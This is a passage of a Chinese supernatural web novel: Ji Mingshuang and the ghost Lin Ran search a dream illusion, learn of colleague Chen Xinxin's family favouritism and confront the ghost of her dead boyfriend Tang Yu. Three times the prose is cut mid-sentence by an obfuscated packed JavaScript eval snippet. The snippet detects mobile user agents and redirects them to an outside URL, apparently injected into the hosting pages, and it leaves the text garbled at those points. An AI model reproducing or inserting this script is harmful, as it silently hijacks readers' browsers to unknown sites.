初见时的他就很美，美得像一件完美的艺术品，应该被摆放在艺术品展览馆里，被层层隔离带和钢化玻璃保护着，或者被收藏在保险箱里，用两把钥匙加上密码才能打开，但此时的他仿佛被注入了生命力，变得生动起来，纪明霜靠近他的脸，他的睫毛纤长，清亮的双眸如星夜下的湖泊，她没忍住，碰了一下他的脸，而后，她就收回了手。 林然有些无语，“纪明霜，你干嘛，偷偷摸摸的，像做贼一样。” 纪明霜说，“嗯……能感知到你的存在，我很高兴。” “你高兴得太早了，先活过三个月再说吧。”林然说，“况且房间里的这家伙，虽然看不见，但并不代表它不存在。” 这时，房间里的灯又开始忽明忽暗，那个佝偻的身影再次出现，这次，它直接出现在了纪明霜的面前，纪明霜的第一反应就是直接挥拳打过去，但她的手穿过了它的身体……不对，没有直接穿过，它的身体就像是细腻绵密的某种流体，虽然纪明霜没有任何痛感，但冰冷的触觉还是让她感到非常不适，纪明霜从它的身体中抽出手来，这才发现，她的手臂几乎已经完全变黑了，嗯，就像刷了一层油漆，或者直接纹了个黑臂一样。 要不是这里是幻境，不然她一定会崩溃的，她可没有去美容院做美白项目的预算，但如果放任不管，又显得特别难看。 林然一拳把它打倒在地，它倒地之后，组成它的部分物质开始逸散，当它再次爬起来的时候，身高大概变矮了六分之一左右。 它的轮廓变得更加清晰，它睁着黑沉沉的双眼，朝着纪明霜颤颤巍巍地走了过去，林然站在纪明霜的身前，看着它一步一步地走过来，距离林然一步之遥，它站在了原地，指着窗户的方向，把嘴张到最大，开始大声尖叫。 纪明霜捂住耳朵，从林然的身后探着头看它，它如同流沙一般的轮廓正逐渐瓦解，瓦解到最后，它变成了一把黑色的沙子，从门缝里溜走了，但它的尖叫声似乎还在房间里回响，久久不能平息。 它离开之后，过了一会儿，“吱呀”一声，员工休息室的门，开了。 32. 第32章 梦境 纪明霜和林然离开了员工休息室。 这里的布局和公司是一样的，只是这里没有老板，没有同事，没有往来匆匆的脚步声，没有打印机运作的声响，没有卫生间里的滴水声和偶尔的水流声，楼道里只有昏暗的灯光，静得像世界末日一样。 林然走在前面，纪明霜跟在他的后面，他碰了一下其中的一扇门，这扇门立刻‘吱呀’一声缓缓敞开了，并不刺耳的声音被拖得很长，晃晃悠悠的。 纪明霜走到门口，往房间里面看去，这里堆满了文件，从地板堆到天花板，好像随时都会倒下。 她走了进去，踩在散落的纯白文件之上，留下了一串红色的鞋印。 她随手拿起其中的一本蓝色的大文件夹，里面放了十来份装订好的合同文件，她拿起最上面的一份合同，翻开，除了封面上写着‘合同’两个字之外，里面没有任何一个字，全都是空白的。 果然啊…… 这里是纪明霜的梦境，也是周可音制造的幻境，陈欣欣的灵魂偶尔会被困在这里。 合同的缝里好像藏着什么字，纪明霜找不到起钉器，林然把钉书针拔了下来，把文件递给了纪明霜。 纪明霜接过文件，在装订的位置看到了几行小字：你在哪儿啊为什么还不回来我们离开这里吧我不想和别人结婚带我走吧带我走吧带我走吧…… 纪明霜又挑了几份合同，直接暴力扯开，装订的位置都是些类似的文字。 她拉着林然离开了这个房间，在他们离开这个房间之后，房间里的文件轰然倒塌，纪明霜回头，只看到了倒下的墙、一堆沙子、裸露的钢筋和缠绕的电线。 她走到了下一个房间里，这个房间很大，色调是温暖的，房间的一边摆着一张餐桌，餐桌上放着四菜一汤，一家三口正围着餐桌坐着，那个二十多岁的男生被父母围在中间，父母一边给他夹菜，一边嘘寒问暖。 纪明霜和林然在门口换了鞋，走近之后，房间里的三个人立刻不说话了，他们转过头，似乎是在直直地盯着两人。 之所以说是‘似乎’，是因为他们的脸上没有五官，像三个粗糙的假娃娃，纪明霜掀开桌布，把桌面下方的人偶模特揪了出来，模特的身上穿着陈欣欣的工作服，胸前别着的工作牌上也写着陈欣欣的名字，但假人终究也只是个假人，陈欣欣也不在这里。 两人离开了这个房间，走进下一个房间，这个房间小小的，墙面白白的，上面用蜡笔画了一扇卡通的门，画上去的门是推不开的，但纪明霜能听到门后传来的对话声。 先是陈欣欣的声音，“妈，我今天打扫卫生的时候看到你们抽屉里的东西了。” “东西？”女人的声音有些警惕，“什么东西？” 然后是碗被放在桌子上的声音，与此同时，饭桌上筷子与碗碟相撞的声音也停止了。 “你翻我们的抽屉干什么？”这是一个男声，声音很是威严，蕴含着隐隐的怒气。 “你们没有把抽屉关好，我一眼就看到了里面放着的房产证，为什么五套房子都写着弟弟的名字，包括我们现在住的这套，所以你们每个月都在给弟弟还房贷？” “别顾左右而言他，陈欣欣，你为什么翻我们的东西？”筷子被重重地砸在玻璃桌面上，整张桌子都在震动。 “哎呀，老公，不要生欣欣的气嘛，欣欣也是不小心的。”女人拍了拍男人的背，而后又开始做和事佬，“欣欣，向爸爸道歉，你以后不能翻爸爸妈妈的东西，知道了吗？” 一个男声插了进来，这个声音很是年轻，应该是陈欣欣的弟弟，“爸，妈，我吃饱了。” “阿荣，你怎么只吃了这么点，桌上明明都是你爱吃的菜啊……” 男生没有回答，只是拉开椅子，离开了餐厅，女人重重地叹了口气，“欣欣，你在饭桌上说这些干什么……” “我想知道为什么，你们以前明明对我很好的，我不明白……” “以前？”男人冷笑了一声，“你现在有吃有穿，住着省会的大房子，每年我们买给你多少漂亮的礼物，鲜花、首饰、衣服、鞋子，我们还托人给你找了一份体面的工作，你还有什么不满意的？” “但是弟弟每个月的生活费都有两万块，我大学时期的生活费只有三千块……” “陈欣欣，你以为我们赚钱很容易吗，你以为三千块很少吗？” 女人也插话道，“欣欣，我们当时给你的生活费不多，是因为公司的发展不好，现在我们给阿荣的生活费宽裕一些，是因为公司的发展渐渐好起来了，欣欣，不要做那种物质的女孩子，三千块已经很多了，我还看到有的家长一个月只给孩子五百块的生活费呢。” 陈欣欣说，“但是我们家里也不穷啊，现在公司正缺员工，你们抱怨招不到人，又不让我去公司上班，还托人在那么远的地方给我找了一份工作，我一个月的工资都赚不到五千块，但阿荣每个月的生活费都有两万块……” “欣欣，不要任性，要是阿荣听到了，会很伤心的，他可是很喜欢你这个姐姐的。”女人又说，“欣欣，你已经毕业了，已经参加工作了，所以才没有生活费，阿荣他不是也没来公司帮忙吗，最近公司的效益不好，爸爸妈妈也正头疼呢，所以你不要任性好吗，至少等我们渡过这个难关……” “是吗，我怎么不知道他很喜欢我这个姐姐，你们平时总对他说，别听你姐的，你姐瞎说的，你姐懂什么，他平时看到我恨不得绕着我走！阿荣没来公司上班，是因为他还没有毕业，你们商量的事，我也听到了，你们想让他持股，是想让他也拿公司的分红，以后能进入公司管理层参与决策，你们想让我来当公司法人，是想让我来承担风险，为什么，生弟弟之前，你们跟我说过，不会重男轻女的啊……” “够了！”男人重重地拍了桌子，“为什么你总是这样，我们到底哪里欠了你的，你贪得无厌，这也要，那也要，把整个家搞得一团糟，对，我承认，我们就是重男轻女，但这完全是因为你的原因，你为什么不从反省自己，为什么阿荣的学习成绩更好，能考上更好的大学，从来不会像你这样不停地质问、抱怨，也不会像你一样歇斯底里！” “他还有什么不满足的，五套房子都已经在他的名下了，除了每个月的生活费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419845|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之外，你们还给他送车、手表、黄金，他每个月的零花钱那么多，如果有想买的限量款球鞋，照样会跟你们要钱。他就在省会读大学，你们还经常把他接回家住，我呢，我在外地读大学，每次都是唐宇来火车站接我，你们一次都没来接过我。我读书的时候，全靠我自己，他呢，你们花了多少择校费，请了他的老师吃饭，变着花样给老师送礼，还有家教的钱、辅导班的钱，各种高考命题老师所在学校的押题试卷，你们还真是费尽了心思啊。” 女人的语气有些急切，还有一丝恨铁不成钢的意味，“那个唐宇，你怎么还没有跟他分手，他就是个穷小子，根本配不上你，你赶紧跟他分手，等你结婚的时候，我们会给你一笔丰厚的嫁妆的。” “前提是我跟公司合作伙伴的儿子结婚，然后给公司，给你们，给弟弟带来更多的利益？”陈欣欣已经开始哭泣了，“他都已经三十五岁了，他还有一个前妻留下的儿子，我不想和不喜欢的人结婚，你们为什么要这么对待我？” 终究是自己的女儿，看着她哭泣，男人也有些不忍心，“欣欣，爸爸妈妈都是为了你好，我们之所以看中他，是因为他确实是一个有才能的人，阿荣有的时候会比较冲动，有的时候又比较冷漠，花钱大手大脚的，而他呢，虽然有过一些感情经历，年纪也比你大了点，但是他是能够经营好一家公司的人，如果你和他结婚，我也许会考虑把公司交给你们经营，我们也老了，是时候该让年轻人上了，来，欣欣，别哭了，擦擦眼泪吧。” 女人说，“好孩子，别哭了，你都没吃多少东西，妈妈明天给你做点你最喜欢的家常菜，好不好？” “所以，你们赏识他，就把我嫁给他，公司不能给我，但是能交给他，你们到底是把我当成女儿，还是当成儿媳妇呢？” “欣欣……”女人的声音有些责怪。 男人再也忍不住了，“陈欣欣，够了，我们都已经低声下气地哄你了，你到底还要怎样！” “我要离开你们，我要和唐宇结婚！” ‘啪——’ 一记耳光的清脆响声，整个餐厅都寂静了。 就连女人的声音也变得冷漠起来了，“欣欣，如果不向爸爸妈妈道歉，就自己回房间里反省吧。” 陈欣欣回了房间，纪明霜还听到陈荣开门说话的声音，“姐姐，你就像个泼妇一样，真难看。” 女人听到了儿子的声音，赶紧招呼道，“阿荣，你刚刚吃饱了吗，要不要再吃一点呢……唉，饭菜有些冷了，我再拿去热热。” “不要，我点了外卖，一会就到了，我来拿瓶可乐……” “喝可乐对身体不好，要不要喝点牛奶呢，我去给你热一瓶……” “不要。” 男生打开了冰箱的门，拿了一瓶可乐，坐在了餐桌前，“爸，妈，我想买个耳机，大概要两万块。” 男人开口了，“用来学习吗？” “用来听英语。” “那就买吧。”男人说。 女人跟着笑了，餐厅里一派其乐融融。 陈欣欣房间的门这才悄悄关上了。 33. 第33章 障眼 对话结束之后，如同入夜一般，房间里瞬间暗了下来，纪明霜正准备离开这里，但她面前的门突然消失了，一同消失的还有林然的身影。 “林然，林然？”纪明霜试探着叫了两声。 没有回应。 她似乎是被困在这个小房间里了。 与此同时，这个意识空间开始剧烈震动，纪明霜失去平衡，摔倒在地，房间的地板正在变得越来越倾斜，如果再这样下去，她就会滑落到地板尽头的小空间里。 那个小空间类似一个地下室，里面摆放着很多只能勉强看清轮廓的物品，有三团黑乎乎的鬼影正在惨叫着挣扎，看到纪明霜之后，它们朝她伸出了枯瘦又残缺不全的手，嘴里不停着说着污言秽语，吵得纪明霜脑子‘嗡嗡’直响，她很想直接跳下去和它们打一架，它们的手指看上去比一次性筷子还要脆。 随着地板倾斜角度的增加，纪明霜开始控制不住地往下滑落，这时，她看到一只修长白皙的手抓住了她的右手腕，纪明霜也抓紧了他的手，挣扎着向上爬去，穿过墙壁，纪明霜爬上了楼梯，坐在了台阶上。 往下看，下面是楼梯，往上看，上面也是楼梯，纪明霜看向林然，“刚刚发生了什么？” “房间的门突然消失了，我发现我能穿墙，就抓住了你的手，把你给拉了上来。”林然关切地问道，“怎么样，你没事吧。” “没事，那个，睡醒之后，我能吃冰激凌吗？” 林然：“……想都别想。” 太好了，是林然，纪明霜放心多了。 林然说，“不过，我好像听到了什么声音？” 纪明霜也仔细听着，“我也听到了，似乎是从楼下传来的声音，难道欣欣在这里？” “听起来不像是你的同事能发出来的声音。”林然拉住了纪明霜的手。 随着声音越来越接近，纪明霜也同意林然的看法。 楼梯上，一条黑色的人影正在快速往上爬，从上方看，它就像是一条蜈蚣，一边快速爬行，一边发出类似节肢动物在并不结实的木质地板上逃窜的声音。 仔细一看，它的身量很长，长到吓人，一身偏暗的红衣，抬起头来，脸色枯白，脖子和额头上都密布着青筋，眼球完全接近白色，它的视力非常有限，对着空气嗅来嗅去，神情姿态像一头饥饿的野牛，林然拉着纪明霜往楼上跑，女鬼听到声音，四脚着地，朝着两人追去，纪明霜看到，它那似乎是被强行揪出来的舌头伸得很长，都快落到地上了。 它的脸偶尔会碰到纪明霜的鞋跟，纪明霜忍无可忍，回头给了它一脚，她的脚穿过了它的身体，于是她的脚被染黑了，它的手能碰到她的腿，她的小腿上多了一个手印。 林然把纪明霜扯到身边，直接拦腰抱了起来，“那些东西很奇怪……尽量不要碰它们。” 但这个姿势并不适合爬楼梯，林然把纪明霜一把扛起，向上跑去，女鬼紧紧跟在两人身后，它的目标有且只有纪明霜，但它够不到纪明霜，反正碰到了林然。 纪明霜看到，在它的手碰到林然的瞬间，它明显停顿了一下，而后，不知道是不是纪明霜的错觉，感觉女鬼的身长似乎短了一点。 而后，女鬼就停了下来，像潮水一样，沿着楼梯下方缓缓退去了。 “林然，它是不是碰到你了。” “没关系。”林然看向了另一边，“纪明霜，那个是不是你的同事？” 纪明霜看过去，果然看到陈欣欣拿着那条公司发的极其丑陋但保暖功能尚可的毛毯走进了员工休息室，纪明霜被放了下来，她拉着林然跟了过去。 与此同时，周围的环境再次发生变化，楼道变成了正常的模样，打印机工作的声音、卫生间的水流声，隔壁办公室的聊天声音依次出现，纪明霜身上的黑色痕迹也消失无踪了。 纪明霜在员工休息室的门口遇到了正在往外走的陈欣欣，她的眼睛还是有点红，但她似乎已经洗过脸了，看到纪明霜正盯着她，她有点不好意思地低下头，“那个，小霜，你刚刚突然睡着了，所以我去找了一条毯子，等我回来的时候，你就已经不见了，你刚刚去哪了呢？” “卫生间。” “啊……是吗，但我也去了卫生间，但是并没有遇见你……”陈欣欣的声音越来越小，她吸了吸鼻子，抱着毯子，有些失落，“那我先把毯子放回去吧。” 纪明霜没有说话。 她现在还能碰到林然，所以，现在她还在梦境之中。 但她也没法确定，她面前的陈欣欣到底是真是假。 既然周可音能编织这样的幻境，那陈欣欣也会遇到同样的场景，纪明霜并不怕鬼，但陈欣欣却不一样，她只是个普通的女生，纪明霜难以想象她承受的痛苦。 来自家人的轻视，来自同事的不善，来自爱人的背刺，还有来自女鬼的威胁。 “欣欣，主管有给你分配工作吗？”纪明霜问道。 陈欣欣摇了摇头，“目前没有，今天主管有事要做，孙哥去了领导那里，所以我就闲下来了。” “那正好，可不可以帮我整理下报表呢？” 陈欣欣居然有点高兴，“可、可以的！” “只这一次，拜托你啦，下班的时候请你喝奶茶。” “没关系的，小霜，谢谢你，其实我很高兴。” 陈欣欣握住了纪明霜的手，纪明霜突然发现，陈欣欣的手很冰，类似林然的温度，但是她的手，比林然的手更加瘦弱，粗糙，甚至有点残缺不全。 纪明霜低下头，时间又回到夜晚，面前的陈欣欣变成了一团边缘模糊但面容清晰的鬼影，纪明霜的手掌上也沾了黑迹，在纪明霜的面前，它露出一个诡异的笑容。 纪明霜也笑了笑，随后，林然一脚踢了过去，他的动作干脆、利落，又很有力量，那只鬼的头重重地撞在了墙壁，或者说梦境的‘边缘’上。 它似乎已死去很久了，以至于它的头骨也酥化发脆了，纪明霜似乎听到了头骨碎裂的声响。 刚才，它紧紧地抓着纪明霜的手，现在，纪明霜也紧紧地抓着它的手，于是，它的手断在了纪明霜的手里，指甲也被纪明直接掰断了，嗯，果然比一次性筷子还要脆。 它顺着墙壁缓缓滑落，林然又补给它一拳，它的鼻子直接被打歪，连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419846|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着鼻翼的脆弱皮肤也被撕掉一块，露出里面的焦黑色骨头。 纪明霜从一本手记里看到，鬼对于人的危害程度，主观恶意是一方面，自身实力是另一方面，两者综合，即为鬼的危险指数。 但这个标准是鬼对于人的，但鬼对于鬼的危险指数，似乎也可以借鉴一二。 最后，这只鬼像一条鼻涕虫一样流动着溜走了，纪明霜回过神来的时候，发现她自己又坐在了员工休息室的小沙发上，那只鬼正握着她的双手，而她手上的黑色痕迹，正以肉眼可见的速度蔓延。 只是，这双手，虽然温度不高，但仍是温暖的。 纪明霜没有用力推开她，因为林然正站在她的身边，他却碰不到她的身体。 也就是说，她已经回到了现实，面前的鬼影确实是陈欣欣。 要不是纪明霜有过类似的经验，恐怕已经一拳打了过去，或者很用力地甩开对方的手。 障眼法啊…… 鬼，果然是很会骗人的呢。 再结合林然之前的说法，陈欣欣在精神状态很差的情况下，曾经用刀扎进了她的左眼。 恐怕陈欣欣当时也已被折磨到精神崩溃了，纪明霜握了握陈欣欣的手，“欣欣，你没事吧。” 见骗不到她，陈欣欣脸上的鬼影也不见了。 “没有哦，我没事，反而是小霜，刚刚怎么突然睡着了呢？” 纪明霜看着陈欣欣的有些苍白的脸色和恍惚的神情，问道，“那……我拿给你的符箓呢？” 陈欣欣把符箓从衣兜里拿了出来，“我有好好放着呢……咦，这张怎么湿透了。” 纪明霜把湿透的符箓拿在手中，符箓被暗红色的不知名液体浸透了，正在一滴一滴地往下滴落。 陈欣欣慌张地道歉，“对不起，小霜，你刚刚拿给我的符箓，这就被我弄坏了，我明明有好好保存的，我也不知道这些液体是哪来的……要不，我把另一张还给你吧，我担心另一张也会被我弄坏……” 纪明霜摇了摇头，把身上的最后一张符箓也交给了陈欣欣，“没有，是这张符箓发挥了作用，至少说明它是有用的，我赶紧找道长再拿一些符箓，反正我能拿到批发价……欣欣，你最近要不要和我一起住？” 陈欣欣想都没想就答应了，“可以啊，反正我爸妈也不在家，不过……” 纪明霜：“不过？” 陈欣欣凑近了纪明霜，小声地说，“小霜，那个男生是谁啊，我都没注意到，他是什么时候进来的？” 纪明霜看了林然一眼，从包包里拿出了没穿衣服的小公主洋娃娃，“啊……这个嘛，我回去跟你解释吧。” 林然藏进了棉花娃娃之中。 纪明霜拉着陈欣欣回到了她的办公室，把洋娃娃的公主裙穿好，放在了办公桌上。 而后，她打开外卖软件，点了几杯奶茶。 收到奶茶之后，办公室和对门的阿姨反而有点不好意思，办公室的氛围融洽了很多，陈欣欣也肉眼可见地开心了不少。 晚上，陈欣欣准备用软件叫车，没想到纪明霜拉着她坐上了一辆粉红色的超级漂亮的车。 34. 第34章 唐宇 上车之后，陈欣欣还是有点搞不清状况，“这是……网约车吗，这辆车好漂亮啊。” 靳尤白一边开车，一边装模作样地跟纪明霜核对手机尾号，陈欣欣居然真的相信了，“这辆车看起来好贵，你是来体验生活的吗？” “开玩笑的啦，我是小霜的朋友哦。” “哦哦，这样啊。”陈欣欣从后视镜中看了看靳尤白，又转头看了看纪明霜，若有所思。 纪明霜问道，“你怎么又换了辆车？” “嗯……因为这个系列的车型更宽敞，我爸给我定制了我喜欢的外形，怎么样，好看吧。” 纪明霜点头，“好看，这个车牌号看起来也很值钱。” “好眼光，这个车牌号是买来的，我爸觉得好的车牌号能带来好运气，他超迷信的。” 陈欣欣有些羡慕，“你爸爸对你真好……” “没办法，谁让他就我一个女儿呢。” 陈欣欣没有接话了，她的弟弟还是个学生，就有两辆车了，一辆放在学校，一辆放在家里。 而她，上下班是打车居多，因为爸妈劝她说，女生开车更容易出事故，况且买车的钱、保险、保养、油费，这些钱加起来不是笔小数目，长远来看，打车更划算也更方便。 到了灰灰公寓门口，陈欣欣感叹道，“这栋公寓真的好灰哦……” 纪明霜把打包好的晚餐袋子递给她，“好眼光。” 陈欣欣看着纪明霜从车的后备箱里费力地抱出一个圆滚滚的超大号灰色家用棉制整理袋，“需要我帮忙吗？” 纪明霜摇了摇头，“不用，跟我一起上楼就行。” 靳尤白坐在驾驶位上，叮嘱道，“我妈在家等我，我就先回去了，霜霜，有事记得给我打电话啊！” 纪明霜点了点头，“放心，我会的，回去的路上，注意安全！” 陈欣欣跟在纪明霜的后面，看着纪明霜费力的模样，“小霜，你这样真的没问题吗，要不我和你一起抱上去吧。” 纪明霜说，“没关系的，东西也不沉……” 林然接话道，“东西确实不沉，你的姿势不对，小心把腰扭伤。” 陈欣欣目瞪口呆，“啊？” 纪明霜和林然都没有解释，于是，陈欣欣看到，‘纪明霜’换了个姿势，挺腰抬头，抱着东西，径直走进了电梯，陈欣欣跟在她的身后，小跑着进了电梯，按下了关门按钮。 ‘纪明霜’一直没有说话，直到她打开家门，把东西放进家里，才笑着说，“欣欣，不用换鞋，进来坐吧。” 陈欣欣点点头，楼道里似乎有人在说话，是邻居吗？ 她没有多想，走了进去，把门关好。 纪明霜拉开了整理袋的拉链，里面是一套全新的普通床上用品四件套，“抱歉，欣欣，我这里只有一张单人床，你今晚可能得打地铺了。” 陈欣欣连忙摆手，“没……没关系的，我只是感觉有点新奇，我爸妈平时管我管得很严，要不是阿荣受伤住院，他们顾不上管我，我才没机会去朋友家过夜呢……如果我们没有吵架的话，我其实也不敢过来住的。” 纪明霜笑了笑，“真是太好了……这套床上用品是全新的，是我朋友从她公司库房里找来的，放的时间有点久了，希望你不要介意哦。” “怎么会呢……谢谢你，小霜，让你为我这么费心……” 纪明霜接过陈欣欣手里的袋子，把打包好的晚餐一份一份地拿出来，但她并没有小敏的职业素养，没办法一个一个地报菜名，只是说着，“嗯……这个、这个，还有这个，都是好吃的。” 见纪明霜特意分了一份出去，陈欣欣好奇地看着，“这些是……” 纪明霜说，“我们不和他一起吃。” “她？”陈欣欣小心地问道，“你说的是你的朋友吗，她不是开车离开了吗？” 纪明霜把一次性筷子拿给陈欣欣，“嗯，确实是我的朋友，只不过是比较特别的朋友，我一般不会把他介绍给别人，但你现在的情况比较特殊，所以，希望你不要害怕。” 陈欣欣没抓住筷子，筷子落在桌上：“啊？” 林然现身，坐在纪明霜的旁边，“其实不用给我准备晚餐的……” 纪明霜笑眯眯地点了线香，“没关系的，一起吃嘛，小陈哥他们想吃都吃不到呢。” 陈欣欣看着单独分出去的晚餐，还有点好的线香，似乎明白了什么，“你……他……” 纪明霜说，“欣欣，先吃饭吧，我是你的朋友，你遇到了麻烦，我是来帮你的，至于他嘛……他的确不是人，但我们不会伤害你，这一点请你放心。” 陈欣欣站了起来，她看了看纪明霜，又看了看林然，又坐了回去，“好、好吧，小霜对我很好，他……他长得这么好看，应该不是坏鬼吧。” 纪明霜哭笑不得，“欣欣，你看人的标准，还挺主观的呢。” 陈欣欣点点头，“大概？” “总之，先吃晚饭吧。” 晚饭之后，纪明霜把厨余垃圾整理打包，放在门口，陈欣欣也帮忙擦了桌子，而后，两人一鬼坐在餐桌前，纪明霜先开了口，“欣欣，是这样的……等等，先从哪里说比较好？” 林然问道，“她男友为什么突然联系她？” 陈欣欣又进入了有问必答的小学生模式，尽管林然并没有问她，“这个啊……那是因为他前段时间有事，他回老家参加葬礼，但手机被摔坏了，重新买了手机，又补办了电话卡，他老家在深山里，所以耽误了好久……” 纪明霜问道，“参加葬礼，谁的葬礼？” 陈欣欣说，“他说是很亲近的人，我想他应该很伤心，所以就没有多问了。” “那可真是太亲近了。”林然说。 纪明霜说，“欣欣，明明是他亲近的人，你却不知道那人是谁，所以我觉得那个人可能就是……” “他老婆？” 纪明霜：“……” 林然说，“可能还要更亲近一点，那就是……” 陈欣欣继续猜测，“私生子？” 一个男人的声音突然出现，“都、不、是。” 纪明霜没有接话，而是把目光投向了餐桌前新来的鬼，陈欣欣的男友，唐宇。 陈欣欣瞪大了双眼，“唐……唐宇？” 唐宇也看向了陈欣欣，只是他的头转动了九十度，但他的身体，包括脖子都没有动。 大概很难想象吧，一个人的头就像走马灯一样，平稳且匀速地转动，他的表情平静得像缸中的死水，他的神态僵硬得像风干的水泥，他就这么看着陈欣欣，陈欣欣吓得倒在了桌子，把桌上的最后几支完全干枯的香雪兰推到了地上，“唐宇……” “欣、欣。”唐宇一字一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419847|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说。 “阿……阿宇？” “我、们。” 陈欣欣愣愣地跟着说，“我们？” “会、永、远。” “永远个屁。”纪明霜粗暴地打断道，“你现在的任务是赶紧投胎，不要耽误十二年后的小升初，而不是一直缠着欣欣不放。” 唐宇的头又转了九十度，看向了林然和纪明霜，“你、们。” 纪明霜没有说话。 “还、不、是。” 陈欣欣把几支香雪兰放回了桌面上，小心地整理着花瓣，但花瓣越掉越多，花蕊已经完全秃掉了，她也心乱如麻。 唐宇木木地说，“一、样。” ——你们还不是一样。 纪明霜连忙解释：“那个，你好像有点误会，我和林然不是这种关系。” 林然：“纪明霜，你搞错重点了吧……” 纪明霜：“哦对，重点是，林然不想让我死掉。” “难道说……"陈欣欣拾起的干枯香雪兰花瓣从她的指间落下，“唐宇想让我……死？” 就语速而言，纪明霜更占优势，于是她说，“就目前的情况来看就是这样。” 陈欣欣看向了唐宇，唐宇的头又转了九十度，看向了陈欣欣，“因、为。” 陈欣欣张了张嘴，“因为？” “我、们、会。” 纪明霜又打断了他，“暂停，我知道你已经死了，你滞留人间怨气很重，大概率她是你临死前的执念，所以你难以割舍。但她现在还年轻，她有大好的未来，但你不应该为了一己私欲就想把她带走，你甚至都没有问一问她的想法，就一个人……不对，一个鬼擅自做了决定。” “如、果。” 纪明霜敲了敲桌面。 “我、离、开。” 陈欣欣咬了咬嘴唇。 “还、有、谁。” 林然大概猜到了他的想法。 “会、爱、你。” ——如果我离开，还有谁会爱你？ 纪明霜：“关你什么事，你又不是人。” 唐宇继续说，“我、爱、你。” 陈欣欣落下泪来，开始掩面哭泣，“阿宇，我一直在等你，你明明说过的，你会带我离开这里，你……你为什么……” 唐宇说，“泥、石、流。” 陈欣欣说，“你当时明明告诉我说，你不在那辆车上啊……” “抱、歉。”唐宇说，“我、也、以、为、我、没、死，直、到……” 林然问道，“直到你参加了自己的葬礼？” 唐宇点了点头。 “但是，我有一点不明白，你当时在你老家，欣欣当时在哪里？”纪明霜问道。 陈欣欣说，“我在我家……” “而你死亡后，居然联系到了陈欣欣？” 唐宇说，“我、想、回、到、她、身、边。” 纪明霜坐回座位，拿出笔记本记了下来，“然后呢？” “如、同、梦、境。” 梦境啊……那还真是神奇呢。 “醒、来、又、回、到、老、家。” 纪明霜又问道，“就是这些？” 唐宇点了点头。 纪明霜把笔记本的这页纸撕了下来，叠好，夹进她的半本手记里，而后对着隔壁喊道，“出来干活啦！” 35. 第35章 尤真 陈欣欣看向门口，但门口没有任何动静。 她正感到疑惑，却发现有人穿过墙壁，走进了这间公寓。 等等，能穿墙的，怎么可能是人。 而且不止一个。 一、二、二……四。 整整四个。 陈欣欣又数了一遍，林然，唐宇、刚刚进来的有些虚胖的男人、空了一个眼眶的女生，穿着保安制服的男人，还有一个正在吃手的小不点。 这里居然有六只鬼。 如果是以前，陈欣欣会直接晕倒，但她最近遇到了不好的事，再加上纪明霜是她的同事，唐宇是她的男友，所以她只是扶着餐桌坐回了椅子上，默默地消化着她所看到的一切。 唐宇还没明白眼下的状况，他护在了陈欣欣的身前，“你……” 你们要干什么？ 他的话还没说出口，只听到小陈哥大喊一声，“大家赶紧上，别让他跑啦！” 他们拿出了藏在身后的木棍，嘴里喊着扑克啊麻将啊什么的，就冲了过来。 接下来的场面有一点暴力，陈欣欣有些不忍心地别过头去，小鬼却很开心，一边围观，一边拍手。 三只鬼痛殴了唐宇，小陈哥更是一边打，一边问，“知错了没？” 唐宇被按在地上动弹不得，仍是嘴硬，“没。” 他大概被打了半个小时左右吧，鬼是没有身体上的痛感的，但精神或者灵魂层面的创伤让他感到的痛苦却是真实存在的，这种手段简单，粗暴，但是有用。 陈欣欣也心情复杂地看着唐宇，“阿宇……” 唐宇躺在地上，但他的下巴却贴着地面，他努力地仰着头，就这么直直地盯着陈欣欣，“欣、欣……” 小陈哥把他一把扯回来，“小姑娘家家的，我都不忍心啊，你这个狗东西，你是怎么敢的？” 唐宇的头被掰了回来，他的双眼仍然圆睁，嘴唇颤动着，“一、起、离、开……” 陈欣欣别过了头，“阿宇，我……我也不知道，我也想和你一起离开，但我现在还不想死掉，我、我还想继续活着，可以吗？” 唐宇的表情没有任何变化，只是他的眼睛缓缓闭上了，“可、以。” “就这么简单？”小陈哥暂停了手里的动作，抹了一把并不存在的汗水，“哎呀，还怪累的呢，你怎么不早说？” 唐宇睁开眼睛，“但、是。” 小陈哥警惕起来，“你小子，不会还想着把她带走吧……你才死了多久，你不会以为当鬼很炫酷吧？” 陈欣欣走到他的面前，蹲下，她想抚摸他的脸庞，但她的手穿过了唐宇的头，她再也控制不住情绪，哭得很是难看，“阿宇，对不起，我实在是太软弱了，我……我很害怕，我不想死，对不起，呜呜，对不起……” “没、关、系。“唐宇歪了歪头，“欣、欣、勇、敢。” “不……我也不想你死掉，你能不能不要走……就这样陪在我的身边，好不好？” 